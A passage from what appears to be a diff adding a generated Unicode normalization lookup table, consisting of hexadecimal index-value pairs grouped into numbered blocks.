0x3fa: 0x812e, 0x3fb: 0x8133, + 0x3fc: 0x8133, 0x3fd: 0x8133, 0x3fe: 0x8133, 0x3ff: 0x8133, + // Block 0x10, offset 0x400 + 0x405: 0xa000, + 0x406: 0x2e5d, 0x407: 0xa000, 0x408: 0x2e65, 0x409: 0xa000, 0x40a: 0x2e6d, 0x40b: 0xa000, + 0x40c: 0x2e75, 0x40d: 0xa000, 0x40e: 0x2e7d, 0x411: 0xa000, + 0x412: 0x2e85, + 0x434: 0x8103, 0x435: 0x9900, + 0x43a: 0xa000, 0x43b: 0x2e8d, + 0x43c: 0xa000, 0x43d: 0x2e95, 0x43e: 0xa000, 0x43f: 0xa000, + // Block 0x11, offset 0x440 + 0x440: 0x8133, 0x441: 0x8133, 0x442: 0x812e, 0x443: 0x8133, 0x444: 0x8133, 0x445: 0x8133, + 0x446: 0x8133, 0x447: 0x8133, 0x448: 0x8133, 0x449: 0x8133, 0x44a: 0x812e, 0x44b: 0x8133, + 0x44c: 0x8133, 0x44d: 0x8136, 0x44e: 0x812b, 0x44f: 0x812e, 0x450: 0x812a, 0x451: 0x8133, + 0x452: 0x8133, 0x453: 0x8133, 0x454: 0x8133, 0x455: 0x8133, 0x456: 0x8133, 0x457: 0x8133, + 0x458: 0x8133, 0x459: 0x8133, 0x45a: 0x8133, 0x45b: 0x8133, 0x45c: 0x8133, 0x45d: 0x8133, + 0x45e: 0x8133, 0x45f: 0x8133, 0x460: 0x8133, 0x461: 0x8133, 0x462: 0x8133, 0x463: 0x8133, + 0x464: 0x8133, 0x465: 0x8133, 0x466: 0x8133, 0x467: 0x8133, 0x468: 0x8133, 0x469: 0x8133, + 0x46a: 0x8133, 0x46b: 0x8133, 0x46c: 0x8133, 0x46d: 0x8133, 0x46e: 0x8133, 0x46f: 0x8133, + 0x470: 0x8133, 0x471: 0x8133, 0x472: 0x8133, 0x473: 0x8133, 0x474: 0x8133, 0x475: 0x8133, + 0x476: 0x8134, 0x477: 0x8132, 0x478: 0x8132, 0x479: 0x812e, 0x47a: 0x812d, 0x47b: 0x8133, + 0x47c: 0x8135, 0x47d: 0x812e, 0x47e: 0x8133, 0x47f: 0x812e, + // Block 0x12, offset 0x480 + 0x480: 0x30d8, 0x481: 0x33e4, 0x482: 0x30e2, 0x483: 0x33ee, 0x484: 0x30e7, 0x485: 0x33f3, + 0x486: 0x30ec, 0x487: 0x33f8, 0x488: 0x3a0d, 0x489: 0x3b9c, 0x48a: 0x3105, 0x48b: 0x3411, + 0x48c: 0x310f, 0x48d: 0x341b, 0x48e: 0x311e, 0x48f: 0x342a, 0x490: 0x3114, 0x491: 0x3420, + 0x492: 0x3119, 0x493: 0x3425, 0x494: 0x3a30, 0x495: 0x3bbf, 0x496: 0x3a37, 0x497: 0x3bc6, + 0x498: 0x315a, 0x499: 0x3466, 0x49a: 0x315f, 0x49b: 0x346b, 0x49c: 0x3a45, 0x49d: 0x3bd4, + 0x49e: 0x3164, 0x49f: 0x3470, 0x4a0: 0x3173, 0x4a1: 0x347f, 0x4a2: 0x3191, 0x4a3: 0x349d, + 0x4a4: 0x31a0, 0x4a5: 0x34ac, 0x4a6: 0x3196, 0x4a7: 0x34a2, 0x4a8: 0x31a5, 0x4a9: 0x34b1, + 0x4aa: 0x31aa, 0x4ab: 0x34b6, 0x4ac: 0x31f0, 0x4ad: 0x34fc, 0x4ae: 0x3a4c, 0x4af: 0x3bdb, + 0x4b0: 0x31fa, 0x4b1: 0x350b, 0x4b2: 0x3204, 0x4b3: 0x3515, 0x4b4: 0x320e, 0x4b5: 0x351f, + 0x4b6: 0x4805, 0x4b7: 0x4896, 0x4b8: 0x3a53, 0x4b9: 0x3be2, 0x4ba: 0x3227, 0x4bb: 0x3538, + 0x4bc: 0x3222, 0x4bd: 0x3533, 0x4be: 0x322c, 0x4bf: 0x353d, + // Block 0x13, offset 0x4c0 + 0x4c0: 0x3231, 0x4c1: 0x3542, 0x4c2: 0x3236, 0x4c3: 0x3547, 0x4c4: 0x324a, 0x4c5: 0x355b, + 0x4c6: 0x3254, 0x4c7: 0x3565, 0x4c8: 0x3263, 0x4c9: 0x3574, 0x4ca: 0x325e, 0x4cb: 0x356f, + 0x4cc: 0x3a76, 0x4cd: 0x3c05, 0x4ce: 0x3a84, 0x4cf: 0x3c13, 0x4d0: 0x3a8b, 0x4d1: 0x3c1a, + 0x4d2: 0x3a92, 0x4d3: 0x3c21, 0x4d4: 0x3290, 0x4d5: 0x35a1, 0x4d6: 0x3295, 0x4d7: 0x35a6, + 0x4d8: 0x329f, 0x4d9: 0x35b0, 0x4da: 0x4832, 0x4db: 0x48c3, 0x4dc: 0x3ad8, 0x4dd: 0x3c67, + 0x4de: 0x32b8, 0x4df: 0x35c9, 0x4e0: 0x32c2, 0x4e1: 0x35d3, 0x4e2: 0x4841, 0x4e3: 0x48d2, + 0x4e4: 0x3adf, 0x4e5: 0x3c6e, 0x4e6: 0x3ae6, 0x4e7: 0x3c75, 0x4e8: 0x3aed, 0x4e9: 0x3c7c, + 0x4ea: 0x32d1, 0x4eb: 0x35e2, 0x4ec: 0x32db, 0x4ed: 0x35f1, 0x4ee: 0x32ef, 0x4ef: 0x3605, + 0x4f0: 0x32ea, 0x4f1: 0x3600, 0x4f2: 0x332b, 0x4f3: 0x3641, 0x4f4: 0x333a, 0x4f5: 0x3650, + 0x4f6: 0x3335, 0x4f7: 0x364b, 0x4f8: 0x3af4, 0x4f9: 0x3c83, 0x4fa: 0x3afb, 0x4fb: 0x3c8a, + 0x4fc: 0x333f, 0x4fd: 0x3655, 0x4fe: 0x3344, 0x4ff: 0x365a, + // Block 0x14, offset 0x500 + 0x500: 0x3349, 0x501: 0x365f, 0x502: 0x334e, 0x503: 0x3664, 0x504: 0x335d, 0x505: 0x3673, + 0x506: 0x3358, 0x507: 0x366e, 0x508: 0x3362, 0x509: 0x367d, 0x50a: 0x3367, 0x50b: 0x3682, + 0x50c: 0x336c, 0x50d: 0x3687, 0x50e: 0x338a, 0x50f: 0x36a5, 0x510: 0x33a3, 0x511: 0x36c3, + 0x512: 0x33b2, 0x513: 0x36d2, 0x514: 0x33b7, 0x515: 0x36d7, 0x516: 0x34bb, 0x517: 0x35e7, + 0x518: 0x3678, 0x519: 0x36b4, 0x51b: 0x3712, + 0x520: 0x47e2, 0x521: 0x4873, 0x522: 0x30c4, 0x523: 0x33d0, + 0x524: 0x39b9, 0x525: 0x3b48, 0x526: 0x39b2, 0x527: 0x3b41, 0x528: 0x39c7, 0x529: 0x3b56, + 0x52a: 0x39c0, 0x52b: 0x3b4f, 0x52c: 0x39ff, 0x52d: 0x3b8e, 0x52e: 0x39d5, 0x52f: 0x3b64, + 0x530: 0x39ce, 0x531: 0x3b5d, 0x532: 0x39e3, 0x533: 0x3b72, 0x534: 0x39dc, 0x535: 0x3b6b, + 0x536: 0x3a06, 0x537: 0x3b95, 0x538: 0x47f6, 0x539: 0x4887, 0x53a: 0x3141, 0x53b: 0x344d, + 0x53c: 0x312d, 0x53d: 0x3439, 0x53e: 0x3a1b, 0x53f: 0x3baa, + // Block 0x15, offset 0x540 + 0x540: 0x3a14, 0x541: 0x3ba3, 0x542: 0x3a29, 0x543: 0x3bb8, 0x544: 0x3a22, 0x545: 0x3bb1, + 0x546: 0x3a3e, 0x547: 0x3bcd, 0x548: 0x31d2, 0x549: 0x34de, 0x54a: 0x31e6, 0x54b: 0x34f2, + 0x54c: 0x4828, 0x54d: 0x48b9, 0x54e: 0x3277, 0x54f: 0x3588, 0x550: 0x3a61, 0x551: 0x3bf0, + 0x552: 0x3a5a, 0x553: 0x3be9, 0x554: 0x3a6f, 0x555: 0x3bfe, 0x556: 0x3a68, 0x557: 0x3bf7, + 0x558: 0x3aca, 0x559: 0x3c59, 0x55a: 0x3aae, 0x55b: 0x3c3d, 0x55c: 0x3aa7, 0x55d: 0x3c36, + 0x55e: 0x3abc, 0x55f: 0x3c4b, 0x560: 0x3ab5, 0x561: 0x3c44, 0x562: 0x3ac3, 0x563: 0x3c52, + 0x564: 0x3326, 0x565: 0x363c, 0x566: 0x3308, 0x567: 0x361e, 0x568: 0x3b25, 0x569: 0x3cb4, + 0x56a: 0x3b1e, 0x56b: 0x3cad, 0x56c: 0x3b33, 0x56d: 0x3cc2, 0x56e: 0x3b2c, 0x56f: 0x3cbb, + 0x570: 0x3b3a, 0x571: 0x3cc9, 0x572: 0x3371, 0x573: 0x368c, 0x574: 0x3399, 0x575: 0x36b9, + 0x576: 0x3394, 0x577: 0x36af, 0x578: 0x3380, 0x579: 0x369b, + // Block 0x16, offset 0x580 + 0x580: 0x4945, 0x581: 0x494b, 0x582: 0x4a5f, 0x583: 0x4a77, 0x584: 0x4a67, 0x585: 0x4a7f, + 0x586: 0x4a6f, 0x587: 0x4a87, 0x588: 0x48eb, 0x589: 0x48f1, 0x58a: 0x49cf, 0x58b: 0x49e7, + 0x58c: 0x49d7, 0x58d: 0x49ef, 0x58e: 0x49df, 0x58f: 0x49f7, 0x590: 0x4957, 0x591: 0x495d, + 0x592: 0x3ef9, 0x593: 0x3f09, 0x594: 0x3f01, 0x595: 0x3f11, + 0x598: 0x48f7, 0x599: 0x48fd, 0x59a: 0x3e29, 0x59b: 0x3e39, 0x59c: 0x3e31, 0x59d: 0x3e41, + 0x5a0: 0x496f, 0x5a1: 0x4975, 0x5a2: 0x4a8f, 0x5a3: 0x4aa7, + 0x5a4: 0x4a97, 0x5a5: 0x4aaf, 0x5a6: 0x4a9f, 0x5a7: 0x4ab7, 0x5a8: 0x4903, 0x5a9: 0x4909, + 0x5aa: 0x49ff, 0x5ab: 0x4a17, 0x5ac: 0x4a07, 0x5ad: 0x4a1f, 0x5ae: 0x4a0f, 0x5af: 0x4a27, + 0x5b0: 0x4987, 0x5b1: 0x498d, 0x5b2: 0x3f59, 0x5b3: 0x3f71, 0x5b4: 0x3f61, 0x5b5: 0x3f79, + 0x5b6: 0x3f69, 0x5b7: 0x3f81, 0x5b8: 0x490f, 0x5b9: 0x4915, 0x5ba: 0x3e59, 0x5bb: 0x3e71, + 0x5bc: 0x3e61, 0x5bd: 0x3e79, 0x5be: 0x3e69, 0x5bf: 0x3e81, + // Block 0x17, offset 0x5c0 + 0x5c0: 0x4993, 0x5c1: 0x4999, 0x5c2: 0x3f89, 0x5c3: 0x3f99, 0x5c4: 0x3f91, 0x5c5: 0x3fa1, + 0x5c8: 0x491b, 0x5c9: 0x4921, 0x5ca: 0x3e89, 0x5cb: 0x3e99, + 0x5cc: 0x3e91, 0x5cd: 0x3ea1, 0x5d0: 0x49a5, 0x5d1: 0x49ab, + 0x5d2: 0x3fc1, 0x5d3: 0x3fd9, 0x5d4: 0x3fc9, 0x5d5: 0x3fe1, 0x5d6: 0x3fd1, 0x5d7: 0x3fe9, + 0x5d9: 0x4927, 0x5db: 0x3ea9, 0x5dd: 0x3eb1, + 0x5df: 0x3eb9, 0x5e0: 0x49bd, 0x5e1: 0x49c3, 0x5e2: 0x4abf, 0x5e3: 0x4ad7, + 0x5e4: 0x4ac7, 0x5e5: 0x4adf, 0x5e6: 0x4acf, 0x5e7: 0x4ae7, 0x5e8: 0x492d, 0x5e9: 0x4933, + 0x5ea: 0x4a2f, 0x5eb: 0x4a47, 0x5ec: 0x4a37, 0x5ed: 0x4a4f, 0x5ee: 0x4a3f, 0x5ef: 0x4a57, + 0x5f0: 0x4939, 0x5f1: 0x445f, 0x5f2: 0x37d2, 0x5f3: 0x4465, 0x5f4: 0x4963, 0x5f5: 0x446b, + 0x5f6: 0x37e4, 0x5f7: 0x4471, 0x5f8: 0x3802, 0x5f9: 0x4477, 0x5fa: 0x381a, 0x5fb: 0x447d, + 0x5fc: 0x49b1, 0x5fd: 0x4483, + // Block 0x18, offset 0x600 + 0x600: 0x3ee1, 0x601: 0x3ee9, 0x602: 0x42c5, 0x603: 0x42e3, 0x604: 0x42cf, 0x605: 0x42ed, + 0x606: 0x42d9, 0x607: 0x42f7, 0x608: 0x3e19, 0x609: 0x3e21, 0x60a: 0x4211, 0x60b: 0x422f, + 0x60c: 0x421b, 0x60d: 0x4239, 0x60e: 0x4225, 0x60f: 0x4243, 0x610: 0x3f29, 0x611: 0x3f31, + 0x612: 0x4301, 0x613: 0x431f, 0x614: 0x430b, 0x615: 0x4329, 0x616: 0x4315, 0x617: 0x4333, + 0x618: 0x3e49, 0x619: 0x3e51, 0x61a: 0x424d, 0x61b: 0x426b, 0x61c: 0x4257, 0x61d: 0x4275, + 0x61e: 0x4261, 0x61f: 0x427f, 0x620: 0x4001, 0x621: 0x4009, 0x622: 0x433d, 0x623: 0x435b, + 0x624: 0x4347, 0x625: 0x4365, 0x626: 0x4351, 0x627: 0x436f, 0x628: 0x3ec1, 0x629: 0x3ec9, + 0x62a: 0x4289, 0x62b: 0x42a7, 0x62c: 0x4293, 0x62d: 0x42b1, 0x62e: 0x429d, 0x62f: 0x42bb, + 0x630: 0x37c6, 0x631: 0x37c0, 0x632: 0x3ed1, 0x633: 0x37cc, 0x634: 0x3ed9, + 0x636: 0x4951, 0x637: 0x3ef1, 0x638: 0x3736, 0x639: 0x3730, 0x63a: 0x3724, 0x63b: 0x442f, + 0x63c: 0x373c, 0x63d: 0x8100, 0x63e: 0x0257, 0x63f: 0xa100, + // Block 0x19, offset 0x640 + 0x640: 0x8100, 0x641: 0x36e8, 0x642: 0x3f19, 0x643: 0x37de, 0x644: 0x3f21, + 0x646: 0x497b, 0x647: 0x3f39, 0x648: 0x3742, 0x649: 0x4435, 0x64a: 0x374e, 0x64b: 0x443b, + 0x64c: 0x375a, 0x64d: 0x3cd0, 0x64e: 0x3cd7, 0x64f: 0x3cde, 0x650: 0x37f6, 0x651: 0x37f0, + 0x652: 0x3f41, 0x653: 0x4625, 0x656: 0x37fc, 0x657: 0x3f51, + 0x658: 0x3772, 0x659: 0x376c, 0x65a: 0x3760, 0x65b: 0x4441, 0x65d: 0x3ce5, + 0x65e: 0x3cec, 0x65f: 0x3cf3, 0x660: 0x382c, 0x661: 0x3826, 0x662: 0x3fa9, 0x663: 0x462d, + 0x664: 0x380e, 0x665: 0x3814, 0x666: 0x3832, 0x667: 0x3fb9, 0x668: 0x37a2, 0x669: 0x379c, + 0x66a: 0x3790, 0x66b: 0x444d, 0x66c: 0x378a, 0x66d: 0x36dc, 0x66e: 0x4429, 0x66f: 0x0081, + 0x672: 0x3ff1, 0x673: 0x3838, 0x674: 0x3ff9, + 0x676: 0x49c9, 0x677: 0x4011, 0x678: 0x377e, 0x679: 0x4447, 0x67a: 0x37ae, 0x67b: 0x4459, + 0x67c: 0x37ba, 0x67d: 0x4397, 0x67e: 0xa100, + // Block 0x1a, offset 0x680 + 0x681: 0x3d47, 0x683: 0xa000, 0x684: 0x3d4e, 0x685: 0xa000, + 0x687: 0x3d55, 0x688: 0xa000, 0x689: 0x3d5c, + 0x68d: 0xa000, + 0x6a0: 0x30a6, 0x6a1: 0xa000, 0x6a2: 0x3d6a, + 0x6a4: 0xa000, 0x6a5: 0xa000, + 0x6ad: 0x3d63, 0x6ae: 0x30a1, 0x6af: 0x30ab, + 0x6b0: 0x3d71, 0x6b1: 0x3d78, 0x6b2: 0xa000, 0x6b3: 0xa000, 0x6b4: 0x3d7f, 0x6b5: 0x3d86, + 0x6b6: 0xa000, 0x6b7: 0xa000, 0x6b8: 0x3d8d, 0x6b9: 0x3d94, 0x6ba: 0xa000, 0x6bb: 0xa000, + 0x6bc: 0xa000, 0x6bd: 0xa000, + // Block 0x1b, offset 0x6c0 + 0x6c0: 0x3d9b, 0x6c1: 0x3da2, 0x6c2: 0xa000, 0x6c3: 0xa000, 0x6c4: 0x3db7, 0x6c5: 0x3dbe, + 0x6c6: 0xa000, 0x6c7: 0xa000, 0x6c8: 0x3dc5, 0x6c9: 0x3dcc, + 0x6d1: 0xa000, + 0x6d2: 0xa000, + 0x6e2: 0xa000, + 0x6e8: 0xa000, 0x6e9: 0xa000, + 0x6eb: 0xa000, 0x6ec: 0x3de1, 0x6ed: 0x3de8, 0x6ee: 0x3def, 0x6ef: 0x3df6, + 0x6f2: 0xa000, 0x6f3: 0xa000, 0x6f4: 0xa000, 0x6f5: 0xa000, + // Block 0x1c, offset 0x700 + 0x706: 0xa000, 0x70b: 0xa000, + 0x70c: 0x4049, 0x70d: 0xa000, 0x70e: 0x4051, 0x70f: 0xa000, 0x710: 0x4059, 0x711: 0xa000, + 0x712: 0x4061, 0x713: 0xa000, 0x714: 0x4069, 0x715: 0xa000, 0x716: 0x4071, 0x717: 0xa000, + 0x718: 0x4079, 0x719: 0xa000, 0x71a: 0x4081, 0x71b: 0xa000, 0x71c: 0x4089, 0x71d: 0xa000, + 0x71e: 0x4091, 0x71f: 0xa000, 0x720: 0x4099, 0x721: 0xa000, 0x722: 0x40a1, + 0x724: 0xa000, 0x725: 0x40a9, 0x726: 0xa000, 0x727: 0x40b1, 0x728: 0xa000, 0x729: 0x40b9, + 0x72f: 0xa000, + 0x730: 0x40c1, 0x731: 0x40c9, 0x732: 0xa000, 0x733: 0x40d1, 0x734: 0x40d9, 0x735: 0xa000, + 0x736: 0x40e1, 0x737: 0x40e9, 0x738: 0xa000, 0x739: 0x40f1, 0x73a: 0x40f9, 0x73b: 0xa000, + 0x73c: 0x4101, 0x73d: 0x4109, + // Block 0x1d, offset 0x740 + 0x754: 0x4041, + 0x759: 0x9904, 0x75a: 0x9904, 0x75b: 0x8100, 0x75c: 0x8100, 0x75d: 0xa000, + 0x75e: 0x4111, + 0x766: 0xa000, + 0x76b: 0xa000, 0x76c: 0x4121, 0x76d: 0xa000, 0x76e: 0x4129, 0x76f: 0xa000, + 0x770: 0x4131, 0x771: 0xa000, 0x772: 0x4139, 0x773: 0xa000, 0x774: 0x4141, 0x775: 0xa000, + 0x776: 0x4149, 0x777: 0xa000, 0x778: 0x4151, 0x779: 0xa000, 0x77a: 0x4159, 0x77b: 0xa000, + 0x77c: 0x4161, 0x77d: 0xa000, 0x77e: 0x4169, 0x77f: 0xa000, + // Block 0x1e, offset 0x780 + 0x780: 0x4171, 0x781: 0xa000, 0x782: 0x4179, 0x784: 0xa000, 0x785: 0x4181, + 0x786: 0xa000, 0x787: 0x4189, 0x788: 0xa000, 0x789: 0x4191, + 0x78f: 0xa000, 0x790: 0x4199, 0x791: 0x41a1, + 0x792: 0xa000, 0x793: 0x41a9, 0x794: 0x41b1, 0x795: 0xa000, 0x796: 0x41b9, 0x797: 0x41c1, + 0x798: 0xa000, 0x799: 0x41c9, 0x79a: 0x41d1, 0x79b: 0xa000, 0x79c: 0x41d9, 0x79d: 0x41e1, + 0x7af: 0xa000, + 0x7b0: 0xa000, 0x7b1: 0xa000, 0x7b2: 0xa000, 0x7b4: 0x4119, + 0x7b7: 0x41e9, 0x7b8: 0x41f1, 0x7b9: 0x41f9, 0x7ba: 0x4201, + 0x7bd: 0xa000, 0x7be: 0x4209, + // Block 0x1f, offset 0x7c0 + 0x7c0: 0x1472, 0x7c1: 0x0df6, 0x7c2: 0x14ce, 0x7c3: 0x149a, 0x7c4: 0x0f52, 0x7c5: 0x07e6, + 0x7c6: 0x09da, 0x7c7: 0x1726, 0x7c8: 0x1726, 0x7c9: 0x0b06, 0x7ca: 0x155a, 0x7cb: 0x0a3e, + 0x7cc: 0x0b02, 0x7cd: 0x0cea, 0x7ce: 0x10ca, 0x7cf: 0x125a, 0x7d0: 0x1392, 0x7d1: 0x13ce, + 0x7d2: 0x1402, 0x7d3: 0x1516, 0x7d4: 0x0e6e, 0x7d5: 0x0efa, 0x7d6: 0x0fa6, 0x7d7: 0x103e, + 0x7d8: 0x135a, 0x7d9: 0x1542, 0x7da: 0x166e, 0x7db: 0x080a, 0x7dc: 0x09ae, 0x7dd: 0x0e82, + 0x7de: 0x0fca, 0x7df: 0x138e, 0x7e0: 0x16be, 0x7e1: 0x0bae, 0x7e2: 0x0f72, 0x7e3: 0x137e, + 0x7e4: 0x1412, 0x7e5: 0x0d1e, 0x7e6: 0x12b6, 0x7e7: 0x13da, 0x7e8: 0x0c1a, 0x7e9: 0x0e0a, + 0x7ea: 0x0f12, 0x7eb: 0x1016, 0x7ec: 0x1522, 0x7ed: 0x084a, 0x7ee: 0x08e2, 0x7ef: 0x094e, + 0x7f0: 0x0d86, 0x7f1: 0x0e7a, 0x7f2: 0x0fc6, 0x7f3: 0x10ea, 0x7f4: 0x1272, 0x7f5: 0x1386, + 0x7f6: 0x139e, 0x7f7: 0x14c2, 0x7f8: 0x15ea, 0x7f9: 0x169e, 0x7fa: 0x16ba, 0x7fb: 0x1126, + 0x7fc: 0x1166, 0x7fd: 0x121e, 0x7fe: 0x133e, 0x7ff: 0x1576, + // Block 0x20, offset 0x800 + 0x800: 0x16c6, 0x801: 0x1446, 0x802: 0x0ac2, 0x803: 0x0c36, 0x804: 0x11d6, 0x805: 0x1296, + 0x806: 0x0ffa, 0x807: 0x112e, 0x808: 0x1492, 0x809: 0x15e2, 0x80a: 0x0abe, 0x80b: 0x0b8a, + 0x80c: 0x0e72, 0x80d: 0x0f26, 0x80e: 0x0f5a, 0x80f: 0x120e, 0x810: 0x1236, 0x811: 0x15a2, + 0x812: 0x094a, 0x813: 0x12a2, 0x814: 0x08ee, 0x815: 0x08ea, 0x816: 0x1192, 0x817: 0x1222, + 0x818: 0x1356, 0x819: 0x15aa, 0x81a: 0x1462, 0x81b: 0x0d22, 0x81c: 0x0e6e, 0x81d: 0x1452, + 0x81e: 0x07f2, 0x81f: 0x0b5e, 0x820: 0x0c8e, 0x821: 0x102a, 0x822: 0x10aa, 0x823: 0x096e, + 0x824: 0x1136, 0x825: 0x085a, 0x826: 0x0c72, 0x827: 0x07d2, 0x828: 0x0ee6, 0x829: 0x0d9e, + 0x82a: 0x120a, 0x82b: 0x09c2, 0x82c: 0x0aae, 0x82d: 0x10f6, 0x82e: 0x135e, 0x82f: 0x1436, + 0x830: 0x0eb2, 0x831: 0x14f2, 0x832: 0x0ede, 0x833: 0x0d32, 0x834: 0x1316, 0x835: 0x0d52, + 0x836: 0x10a6, 0x837: 0x0826, 0x838: 0x08a2, 0x839: 0x08e6, 0x83a: 0x0e4e, 0x83b: 0x11f6, + 0x83c: 0x12ee, 0x83d: 0x1442, 0x83e: 0x1556, 0x83f: 0x0956, + // Block 0x21, offset 0x840 + 0x840: 0x0a0a, 0x841: 0x0b12, 0x842: 0x0c2a, 0x843: 0x0dba, 0x844: 0x0f76, 0x845: 0x113a, + 0x846: 0x1592, 0x847: 0x1676, 0x848: 0x16ca, 0x849: 0x16e2, 0x84a: 0x0932, 0x84b: 0x0dee, + 0x84c: 0x0e9e, 0x84d: 0x14e6, 0x84e: 0x0bf6, 0x84f: 0x0cd2, 0x850: 0x0cee, 0x851: 0x0d7e, + 0x852: 0x0f66, 0x853: 0x0fb2, 0x854: 0x1062, 0x855: 0x1186, 0x856: 0x122a, 0x857: 0x128e, + 0x858: 0x14d6, 0x859: 0x1366, 0x85a: 0x14fe, 0x85b: 0x157a, 0x85c: 0x090a, 0x85d: 0x0936, + 0x85e: 0x0a1e, 0x85f: 0x0fa2, 0x860: 0x13ee, 0x861: 0x1436, 0x862: 0x0c16, 0x863: 0x0c86, + 0x864: 0x0d4a, 0x865: 0x0eaa, 0x866: 0x11d2, 0x867: 0x101e, 0x868: 0x0836, 0x869: 0x0a7a, + 0x86a: 0x0b5e, 0x86b: 0x0bc2, 0x86c: 0x0c92, 0x86d: 0x103a, 0x86e: 0x1056, 0x86f: 0x1266, + 0x870: 0x1286, 0x871: 0x155e, 0x872: 0x15de, 0x873: 0x15ee, 0x874: 0x162a, 0x875: 0x084e, + 0x876: 0x117a, 0x877: 0x154a, 0x878: 0x15c6, 0x879: 0x0caa, 0x87a: 0x0812, 0x87b: 0x0872, + 0x87c: 0x0b62, 0x87d: 0x0b82, 0x87e: 0x0daa, 0x87f: 0x0e6e, + // Block 0x22, offset 0x880 + 0x880: 0x0fbe, 0x881: 0x10c6, 0x882: 0x1372, 0x883: 0x1512, 0x884: 0x171e, 0x885: 0x0dde, + 0x886: 0x159e, 0x887: 0x092e, 0x888: 0x0e2a, 0x889: 0x0e36, 0x88a: 0x0f0a, 0x88b: 0x0f42, + 0x88c: 0x1046, 0x88d: 0x10a2, 0x88e: 0x1122, 0x88f: 0x1206, 0x890: 0x1636, 0x891: 0x08aa, + 0x892: 0x0cfe, 0x893: 0x15ae, 0x894: 0x0862, 0x895: 0x0ba6, 0x896: 0x0f2a, 0x897: 0x14da, + 0x898: 0x0c62, 0x899: 0x0cb2, 0x89a: 0x0e3e, 0x89b: 0x102a, 0x89c: 0x15b6, 0x89d: 0x0912, + 0x89e: 0x09fa, 0x89f: 0x0b92, 0x8a0: 0x0dce, 0x8a1: 0x0e1a, 0x8a2: 0x0e5a, 0x8a3: 0x0eee, + 0x8a4: 0x1042, 0x8a5: 0x10b6, 0x8a6: 0x1252, 0x8a7: 0x13f2, 0x8a8: 0x13fe, 0x8a9: 0x1552, + 0x8aa: 0x15d2, 0x8ab: 0x097e, 0x8ac: 0x0f46, 0x8ad: 0x09fe, 0x8ae: 0x0fc2, 0x8af: 0x1066, + 0x8b0: 0x1382, 0x8b1: 0x15ba, 0x8b2: 0x16a6, 0x8b3: 0x16ce, 0x8b4: 0x0e32, 0x8b5: 0x0f22, + 0x8b6: 0x12be, 0x8b7: 0x11b2, 0x8b8: 0x11be, 0x8b9: 0x11e2, 0x8ba: 0x1012, 0x8bb: 0x0f9a, + 0x8bc: 0x145e, 0x8bd: 0x082e, 0x8be: 0x1326, 0x8bf: 0x0916, + // Block 0x23, offset 0x8c0 + 0x8c0: 0x0906, 0x8c1: 0x0c06, 0x8c2: 0x0d26, 0x8c3: 0x11ee, 0x8c4: 0x0b4e, 0x8c5: 0x0efe, + 0x8c6: 0x0dea, 0x8c7: 0x14e2, 0x8c8: 0x13e2, 0x8c9: 0x15a6, 0x8ca: 0x141e, 0x8cb: 0x0c22, + 0x8cc: 0x0882, 0x8cd: 0x0a56, 0x8d0: 0x0aaa, + 0x8d2: 0x0dda, 0x8d5: 0x08f2, 0x8d6: 0x101a, 0x8d7: 0x10de, + 0x8d8: 0x1142, 0x8d9: 0x115e, 0x8da: 0x1162, 0x8db: 0x1176, 0x8dc: 0x15f6, 0x8dd: 0x11e6, + 0x8de: 0x126a, 0x8e0: 0x138a, 0x8e2: 0x144e, + 0x8e5: 0x1502, 0x8e6: 0x152e, + 0x8ea: 0x164a, 0x8eb: 0x164e, 0x8ec: 0x1652, 0x8ed: 0x16b6, 0x8ee: 0x1526, 0x8ef: 0x15c2, + 0x8f0: 0x0852, 0x8f1: 0x0876, 0x8f2: 0x088a, 0x8f3: 0x0946, 0x8f4: 0x0952, 0x8f5: 0x0992, + 0x8f6: 0x0a46, 0x8f7: 0x0a62, 0x8f8: 0x0a6a, 0x8f9: 0x0aa6, 0x8fa: 0x0ab2, 0x8fb: 0x0b8e, + 0x8fc: 0x0b96, 0x8fd: 0x0c9e, 0x8fe: 0x0cc6, 0x8ff: 0x0cce, + // Block 0x24, offset 0x900 + 0x900: 0x0ce6, 0x901: 0x0d92, 0x902: 0x0dc2, 0x903: 0x0de2, 0x904: 0x0e52, 0x905: 0x0f16, + 0x906: 0x0f32, 0x907: 0x0f62, 0x908: 0x0fb6, 0x909: 0x0fd6, 0x90a: 0x104a, 0x90b: 0x112a, + 0x90c: 0x1146, 0x90d: 0x114e, 0x90e: 0x114a, 0x90f: 0x1152, 0x910: 0x1156, 0x911: 0x115a, + 0x912: 0x116e, 0x913: 0x1172, 0x914: 0x1196, 0x915: 0x11aa, 0x916: 0x11c6, 0x917: 0x122a, + 0x918: 0x1232, 0x919: 0x123a, 0x91a: 0x124e, 0x91b: 0x1276, 0x91c: 0x12c6, 0x91d: 0x12fa, + 0x91e: 0x12fa, 0x91f: 0x1362, 0x920: 0x140a, 0x921: 0x1422, 0x922: 0x1456, 0x923: 0x145a, + 0x924: 0x149e, 0x925: 0x14a2, 0x926: 0x14fa, 0x927: 0x1502, 0x928: 0x15d6, 0x929: 0x161a, + 0x92a: 0x1632, 0x92b: 0x0c96, 0x92c: 0x184b, 0x92d: 0x12de, + 0x930: 0x07da, 0x931: 0x08de, 0x932: 0x089e, 0x933: 0x0846, 0x934: 0x0886, 0x935: 0x08b2, + 0x936: 0x0942, 0x937: 0x095e, 0x938: 0x0a46, 0x939: 0x0a32, 0x93a: 0x0a42, 0x93b: 0x0a5e, + 0x93c: 0x0aaa, 0x93d: 0x0aba, 0x93e: 0x0afe, 0x93f: 0x0b0a, + // Block 0x25, offset 0x940 + 0x940: 0x0b26, 0x941: 0x0b36, 0x942: 0x0c1e, 0x943: 0x0c26, 0x944: 0x0c56, 0x945: 0x0c76, + 0x946: 0x0ca6, 0x947: 0x0cbe, 0x948: 0x0cae, 0x949: 0x0cce, 0x94a: 0x0cc2, 0x94b: 0x0ce6, + 0x94c: 0x0d02, 0x94d: 0x0d5a, 0x94e: 0x0d66, 0x94f: 0x0d6e, 0x950: 0x0d96, 0x951: 0x0dda, + 0x952: 0x0e0a, 0x953: 0x0e0e, 0x954: 0x0e22, 0x955: 0x0ea2, 0x956: 0x0eb2, 0x957: 0x0f0a, + 0x958: 0x0f56, 0x959: 0x0f4e, 0x95a: 0x0f62, 0x95b: 0x0f7e, 0x95c: 0x0fb6, 0x95d: 0x110e, + 0x95e: 0x0fda, 0x95f: 0x100e, 0x960: 0x101a, 0x961: 0x105a, 0x962: 0x1076, 0x963: 0x109a, + 0x964: 0x10be, 0x965: 0x10c2, 0x966: 0x10de, 0x967: 0x10e2, 0x968: 0x10f2, 0x969: 0x1106, + 0x96a: 0x1102, 0x96b: 0x1132, 0x96c: 0x11ae, 0x96d: 